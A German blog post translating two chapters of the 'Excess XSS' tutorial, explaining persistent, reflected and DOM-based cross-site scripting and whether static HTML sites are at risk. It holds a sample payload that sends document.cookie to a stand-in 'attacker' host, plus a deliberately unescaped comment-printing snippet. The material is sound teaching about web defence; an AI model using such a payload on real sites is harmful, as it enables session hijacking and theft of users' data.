Diese Frage lässt sich trivial nicht beantworten. Zuerst sollte man verstehen, was XSS (Cross-Site-Scripting) ist, wie ein Angreifer die Website manipulieren kann und welchen Sicherheitsrisiken die Opfer dadurch ausgesetzt werden.
Ich habe darüber eine sehr gute englischsprachige Abhandlung im Internet gefunden, die aus drei Kapiteln besteht, wovon ich die ersten beiden übersetzt und für die Besucher von Software-Lupe.de veröffentlicht habe. Zum Schluss komme ich auf die Ausgangsfrage zurück.
Excess XSS
Teil 1: Übersicht
Was ist XSS?
Cross-Site-Scripting (XSS) ist ein Angriff durch Einschleusung von Code, der dem Angreifer ermöglicht, schädliches JavaScript in den Browsern anderer Benutzer auszuführen.
Die Angreiferin zielt dabei nicht direkt auf ihre Opfer, sondern sie nutzt eine Schwachstelle in einer Website, die von den Opfern besucht wird. Diese Website liefert dann das schädliche JavaScript für sie aus. In den Browsern der Opfer wird das schädliche JavaScript als legitimer Teil der Website gewertet, womit die Website unbeabsichtigt zur Komplizin der Angreiferin wird.
Wie das schädliche JavaScript eingeschleust wird
Die einzige Möglichkeit für den Angreifer, schädliches JavaScript in den Browsern der Opfer ausführen zu können, besteht darin, den Code in eine Seite einzuschleusen, die von den Opfern besucht wird. Browser speichern Webseiten im Cache und laden dafür deren Inhalte herunter.
Wenn auf einer Webseite Benutzereingaben direkt eingefügt werden, kann die Angreiferin einen String eintragen, der von den Browsern der Opfer als Code behandelt wird.
In dem folgenden Beispiel wird ein einfaches Server-Side-Script genutzt, um den letzten Kommentar auf einer Website anzuzeigen:
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
Das Skript geht davon aus, dass ein Kommentar nur aus Text besteht. Da die Benutzereingabe jedoch direkt eingefügt wird, kann der Angreifer diesen Kommentar übermitteln: „<script>…</script>“. Alle Besucher der Seite würden nun die folgende Antwort erhalten:
<html>
Latest comment:
<script>...</script>
</html>
Wenn die Browser der Besucher die Seite laden, wird das in den <script>-Tags enthaltene JavaScript ausgeführt. Die Angreiferin hat ihren Angriff erfolgreich durchgeführt.
Was ist schädliches JavaScript?
Auf den ersten Blick ist die Möglichkeit JavaScript im Browser des Opfers auszuführen nicht besonders bedrohlich. Immerhin läuft JavaScript in einer sehr eingeschränkten Umgebung, die nur einen extrem eingeschränkten Zugriff auf die Dateien und das Betriebssystem der Benutzerin ermöglicht. In der Tat könnte man die JavaScript-Konsole des eigenen Browsers öffnen und jegliches JavaScript ausführen, es ist äußerst unwahrscheinlich damit irgendwelchen Schaden am eigenen Computer zu verursachen.
Wie auch immer, die Möglichkeit, dass JavaScript schädlich sein kann, wird klarer, wenn man folgende Fakten näher betrachtet:
- JavaScript hat Zugriff auf einige der sensibelsten Informationen der Opfer, wie zum Beispiel Cookies.
- JavaScript kann HTTP-Requests (HTTP-Anfragemethoden) mit beliebigem Inhalt an beliebige Ziele senden, durch die Nutzung von XMLHttpRequest oder anderer Methoden.
- JavaScript kann beliebige Änderungen am HTML der vorliegenden Seite vornehmen, durch Nutzung von DOM-Manipulations-Methoden.
Die Konsequenzen von schädlichem JavaScript
Die Möglichkeit beliebiges JavaScript in den Browsern anderer Benutzer ausführen zu können, erlaubt dem Angreifer – neben vielen anderen Dingen – die folgenden Arten von Angriffen:
Cookie Diebstahl: Die Angreiferin bekommt Zugriff auf die mit der Website verbundenen Cookies des Opfers durch Verwendung von document.cookie, kann sie zum eigenen Server senden und dafür nutzen, sensible Informationen wie die Session-IDs zu extrahieren.
Keylogging: Der Angreifer kann einen Keyboard-Event-Listener durch Verwendung von addEventListener registrieren, dann alle Tastatureingaben des Opfers zum eigenen Server senden und sensible Informationen wie Passwörter und Kreditkarten-Nummern aufzeichnen.
Phishing: Die Angreiferin kann ein Fake-Anmelde-Formular in die Seite einfügen unter Verwendung der DOM-Manipulation, das Ziel des Formular-Action-Attributes auf den eigenen Server richten und das Opfer austricksen, sensible Daten einzugeben.
Obwohl sich diese Angriffe signifikant unterscheiden, haben sie eine wesentliche Gemeinsamkeit: Da der Angreifer den Code in die Seite einer Website eingeschleust hat, wird das schädliche JavaScript im Kontext der Website ausgeführt. Das bedeutet, das JavaScript wird wie jedes andere Skript dieser Website behandelt. Es hat Zugriff auf die Daten des Opfers (wie Cookies) und der Hostname in der Adressleiste ist der Name der Website. Im Grunde ist das Skript legitimer Teil der Website und somit befugt alles zu machen, was die aktuelle Website auch ausführen darf.
Dieser Fakt macht ein Schlüsselproblem deutlich:
Wenn eine Angreiferin Ihre Website dafür nutzen kann, beliebiges JavaScript in den Browsern anderer Benutzer auszuführen, ist die Sicherheit Ihrer Website und die Ihrer Besucher kompromittiert.
Um diesen Punkt hervorzuheben, lassen einige Beispiele dieses Tutorials die Details des schädlichen Skripts aus und zeigen stattdessen nur <script>… </script>. Das deutet darauf hin, dass die schiere Präsenz eines Skripts – eingeschleust von einem Angreifer – das Problem ist, unabhängig davon, welchen Code das Skript aktuell ausführt.
Teil 2: XSS-Angriffe
Die Akteure einer XSS-Attacke
Bevor wir im Detail beschreiben, wie ein XSS-Angriff funktioniert, müssen wir die Akteure, die in dem XSS-Angriff involviert sind, näher definieren. In der Regel sind an einem XSS-Angriff drei Akteure beteiligt: die Website, Opfer und Angreifer.
- Die Website liefert HTML-Seiten an die Besucher aus, die diese anfragen. In unseren Beispielen wird die Website lokalisiert mit http://website/.
- Die Website-Datenbank ist eine Datenbank, die einige der Benutzereingaben speichert, die auf der Seite der Website ausgegeben, bzw. in die Seite eingefügt werden.
- Das Opfer ist normalerweise Nutzer/Besucherin der Website und fragt Seiten davon ab, durch das Aufrufen im Browser.
- Die Angreiferin ist eine schädliche Nutzerin der Website, mit dem Ziel, Angriffe gegen das Opfer auszuführen, indem sie eine XSS-Schwachstelle in der Website ausnutzt.
- Der Angreifer-Server ist ein Webserver, der von dem Angreifer kontrolliert wird, mit dem einzigen Zweck, sensible Informationen der Opfer abzugreifen. In unseren Beispielen wird der Server des Angreifers lokalisiert mit http://attacker/.
Beispiel für ein Angriffs-Szenario
In diesem Beispiel nehmen wir an, das ultimative Ziel des Angreifers ist das Stehlen der Cookies des Opfers durch das Ausnutzen einer XSS-Schwachstelle der Website. Das wird erreicht, wenn der Browser des Opfers folgenden HTML-Code parst:
<script>
window.location='http://attacker/?cookie='+document.cookie
</script>
Dieses Skript navigiert den Browser des Opfers dann zu einem anderen URL und triggert eine HTTP-Request an den Angreifer-Server. Der URL beinhaltet die Opfer-Cookies als einen Query-Parameter, welchen die Angreiferin von der Request extrahieren kann, wenn die Anfrage den Server erreicht. Die Angreiferin kann nun in der Person des Opfers weitere Angriffe ausführen.
Von nun an wird der obige HTML-Code referenziert als der schädliche String oder das schädliche Skript. Es ist allerdings wichtig, zu beachten, dass der String selbst erst schädlich ist, wenn er definitiv als HTML durch den Browser des Opfers geparst wird, was nur als Resultat einer XSS-Schwachstelle in der Website passieren kann.
Wie das Beispiel des Angriffs-Szenario funktioniert
Das folgende Diagramm illustriert, wie das obige Beispiel durch den Angreifer ausgeführt werden kann.
- Der Angreifer benutzt ein Formular der Website um einen schadhaften String in die Website-Datenbank einzufügen.
- Das Opfer ruft diese Seite von der Website auf.
- Die Website fügt den schadhaften String aus der Datenbank in die Antwort ein und sendet sie an das Opfer.
- Der Browser des Opfers führt den schadhaften String aus und sendet die Cookies des Opfers an den Angreifer-Server.
Typen von XSS
Während das Ziel einer XSS-Attacke das Ausführen von schadhaftem JavaScript im Browser des Opfers ist, existieren einige grundlegende unterschiedliche Wege, dieses Ziel zu erreichen. XSS-Attacken werden oft in drei unterschiedliche Typen unterteilt:
- Persistent XSS, hier stammt der schadhafte String aus der Website-Datenbank.
- Reflected XSS, hier entsteht der schadhafte String aus der (Browser-)Anfrage des Opfers.
- DOM-based XSS, hier ist die Schwachstelle eher im Client-Side-Code (Skript wird im Browser ausgeführt), als im Server-Side-Code (Skript wird auf dem Server ausgeführt).
Reflected XSS
In einem Reflected-XSS-Angriff, ist der schadhafte String Teil einer Anfrage an die Website durch den Browser des Opfers. Die Website fügt den schadhaften String in die Antwort ein und sendet ihn zurück an das Opfer. Das folgende Diagramm illustriert das Szenario:
- Die Angreiferin gestaltet einen URL mit einem schadhaften String und sendet ihn zum Opfer.
- Das Opfer wird von der Angreiferin ausgetrickst, diesen URL von der Website abzurufen.
- Die Website fügt den schadhaften String in die Antwort ein.
- Der Browser des Opfers führt den schadhaften String aus und sendet die Cookies des Opfers an den Server der Angreiferin.
Wie kann Reflected XSS so erfolgreich sein?
Zuerst einmal scheint Reflected XSS harmlos zu sein, es erfordert die Aktion des Opfers, die Anfrage mit dem schadhaftem Code abzusenden. Da sich niemand freiwillig selbst angreifen würde, scheint es unmöglich, diesen Angriff auszuführen.
Wie sich allerdings zeigt, existieren zwei gebräuchliche Wege ein Opfer dazu zu bringen, eine Reflected-XSS-Attacke gegen sich selbst zu starten:
- Ist das Ziel des Angreifers eine Einzelperson, kann er dem Opfer den schadhaften URL senden (zum Beispiel per E-Mail oder Instant Messaging, wie ICQ, Skype, WhatsApp, etc.) und das Opfer überlisten, diesen URL zu besuchen.
- Ist eine größere Gruppe das Ziel des Angreifers, kann er einen Link zu dem schadhaften URL veröffentlichen (zum Beispiel auf der eigenen Website, in Foren oder in den sozialen Netzwerken) und darauf warten, dass die Opfer diesen anklicken.
Diese zwei Methoden sind ähnlich und beide versprechen mehr Erfolg, wenn ein URL-Shortening-Service eingesetzt wird, der den schadhaften String vor den Opfern versteckt, die diesen andernfalls eventuell entdecken könnten.
DOM-based XSS
DOM-based XSS ist eine Variante aus beidem: persistent und reflected XSS. In einem DOM-based-XSS-Angriff wird der schadhafte String nicht sofort durch den Browser des Opfers geparst, sondern erst, wenn das legitime JavaScript der Website ausgeführt wurde. Das folgende Diagramm illustriert dieses Szenario für eine Reflectec-XSS-Attacke:
- Der Angreifer erstellt einen URL, der schadhaften Code beinhaltet und sendet ihn zum Opfer.
- Das Opfer wird vom Angreifer überlistet, den URL von der Website aufzurufen.
- Die Website erhält die Request, aber fügt den schadhaften String nicht in die Antwort ein.
- Der Browser des Opfers führt das legitime Skript in der Antwort aus und löst dadurch das Einfügen des schadhaften Codes in die Seite aus.
- Der Browser des Opfers führt das schädliche Skript aus und sendet die Cookies des Opfers an den Angreifer-Server.
Was macht den Unterschied bei DOM-based XSS aus?
In den vorherigen Beispielen über Persistent- und Reflected-XSS-Angriffen fügt der Server das schädliche Skript in die Seite ein, das anschließend als Antwort an das Opfer gesendet wird. Wenn der Browser des Opfers die Antwort erhält, wird das schädliche Skript als legitimer Inhalt der Website behandelt und automatisch so ausgeführt, wie bei jedem anderen Laden eines Skriptes der Website.
In dem Beispiel der DOM-based-XSS-Attacke wird kein schädliches Skript als Teil der Seite eingefügt, die einzigen Skripte, die automatisch während des Ladens der Seite ausgeführt werden, sind tatsächlich legitime Inhalte. Ein Problem ist es, wenn das legitimierte Skript Benutzereingaben nutzt, um direktes Hinzufügen von HTML anzufordern. Da der schädliche String unter Verwendung von innerHTML in die Seite eingefügt wurde, wird er als HTML geparst, und somit direkt der schädliche Code ausgeführt.
Der Unterschied ist subtil aber wichtig:
- Im traditionellen XSS wird das schädliche JavaScript ausgeführt, wenn die Seite als Teil des HTML, das vom Server gesendet wurde, geladen wird.
- Im DOM-based XSS wird das schädliche JavaScript ausgeführt, einige Zeit nachdem die Seite geladen wurde, als Ergebnis des tatsächlich auf der Seite legitimierten JavaScripts, das die Benutzereingaben in unsicherer Weise behandelt.
Warum DOM-based XSS bedeutsam ist
In den vorherigen Beispielen war JavaScript nicht unbedingt nötig, der Server hätte sämtliches HTML selbst generieren können. Wenn der Server-Side-Code frei von Schwachstellen ist, kann die Website sicher vor XSS sein.
Wie auch immer, seitdem Web-Applikationen immer häufiger verwendet werden, wird auch eine wachsende Anzahl von HTML durch JavaScript generiert. Und das passiert eher auf der Client-Side (Webbrowser) als auf dem Server. Jedes Mal, wenn Inhalt neu geladen wird, ohne dafür die ganze Seite neu zu laden, wird diese Aktualisierung durch JavaScript behandelt. Besonders bemerkenswert ist hier, dass in diesen Fällen die Seite aktualisiert wird, nachdem eine AJAX-Anfrage durchgeführt wurde.
Das bedeutet, XSS-Schwachstellen können nicht nur im Server-Side-Code der Website vorhanden sein, sondern auch im Client-Side-JavaScript-Code der Website. Also selbst wenn der Server-Side-Code komplett sicher ist, können im Client-Side-Code unsichere Benutzereingaben in einem DOM eingefügt sein. Wenn das passiert, ermöglicht der Client-Side-Code einen XSS-Angriff ohne dass Fehler im Server-Side-Code vorliegen.
DOM-based XSS für den Server unsichtbar
In einem speziellen Fall von DOM-based XSS wird ein schädlicher String niemals zum Website-Server geschickt: Wenn der schädliche String in einem Fragmentbezeichner in einer URL (alles nach einen #-Zeichen) eingefügt ist, sendet der Browser diesen Teil des URLs nicht an den Server, sodass die Website in keinem Fall Zugriff hat und diesen Server-Side-Code nutzen könnte. Der Client-Side-Code hingegen hat Zugriff und kann folglich XSS-Schwachstellen durch unsicheres Handling ausnutzen.
Diese Situation ist nicht auf Fragmentbezeichner begrenzt. Eine andere Benutzereingabe, die unsichtbar für den Server bleibt, beinhaltet HTML5-Funktionen wie LocalStorage und IndexedDB.
Excess XSS von Jakob Kallinund Irene Lobo Valbuena ist lizensiert unter einer Creative Commons Attribution-ShareAlike 3.0 Unported License.
Der Source-Code von Excess XSS ist verfügbar auf GitHub.
Die ersten beiden Kapitel von Excess XSS wurden übersetzt von Angelika Reisiger und unter derselben Lizenz veröffentlicht. Bei Weitergabe ist neben oben gemachter Angaben auch die Namensnennung der Übersetzerin und Verlinkung auf diesen Artikel erforderlich.
Teil 3
Das dritte Kapitel von Excess XSS erklärt die Möglichkeiten XSS zu verhindern und richtet sich vorrangig an Menschen aus dem Bereich Webentwicklung. Benutzereingaben sollten per Encoding und Validation abgesichert werden, sodass der Browser die Eingaben als Text und nicht als Code interpretiert, außerdem können Benutzereigaben per Validierung gefiltert werden. In diesem Kapitel werden die Wichtigkeit des Kontextes, die Unterschiede im Inbound und Outbound sowie zwischen Client und Server behandelt.
Zurück zur Eingangsfrage:
Kann eine reine HTML-Website mit integriertem JavaScript gehackt werden?
- Für XSS ist es unabdingbar, dass die Angreiferin das schädliche Skript auf der Website oder in der Datenbank der Website unterbringt. Das kann über Benutzereingaben geschehen. Sollte die statische Website irgendwelche Felder zur Eingabe von Text haben (Formular, Suchen-Abfrage, etc. – auch per AJAX realisiert), dann eindeutig: Ja, XSS-Angriffe können durchgeführt werden, vorausgesetzt die Benutzereingabefelder sind nicht ausreichend per Encoding/Validierung abgesichert worden.
- Eine weitere Möglichkeit ist kompromittiertes JavaScript, wird zum Beispiel Code von externen Stellen eingebunden (eine prominente Quelle ist zum Beispiel googleapis.com) und deren Server wurden gehackt und die JavaScripts manipuliert, wird auch die HTML-Website zum Werkzeug des Angreifers.
- Dasselbe gilt für CDN (Content Delivery Network).
- XSS & (base 64 & emb) Grafiken/Elemente: In ein simples Bild kann ein Datenlink eingefügt werden, wo ein XSS ausgeführt wird. Das Betrachten dieser Grafik oder dieses Fotos auf der HTML-Website reicht aus, um einen XSS-Angriff auszuführen. (Quelle: PDF, Seite 25).
- Kein XSS, aber iFrame in HTML kann für Angriffe genutzt werden, aber auch das muss erst einmal irgendwie auf die Website oder den Server gelangen.
- Nicht korrekt abgesicherte HTML5-Funktionen können ebenfalls durch Benutzer-Interaktionen für Angriffe ausgenutzt werden.
- Und dann gibt es noch die Shared-Hosting-Pakete, gilt also für alle Website-Betreiber, deren Website nicht auf einem eigenen Server laufen. Bei unzureichender Serverkonfiguration könnten Angreifer Zugriff auf den Webspace und somit die HTML-Website erlangen und schädlichen Code einschleusen.
Fazit:
Eine HTML-Website ist die sicherste Variante eine eigene Website zu betreiben, vorausgesetzt, man lässt keine Benutzer-Interaktionen/-Eingaben zu, oder aber diese Felder wurden absolut abgesichert. Wichtig ist auch, JavaScript und Bilder nur von vertrauenswürdigen Quellen einzubinden.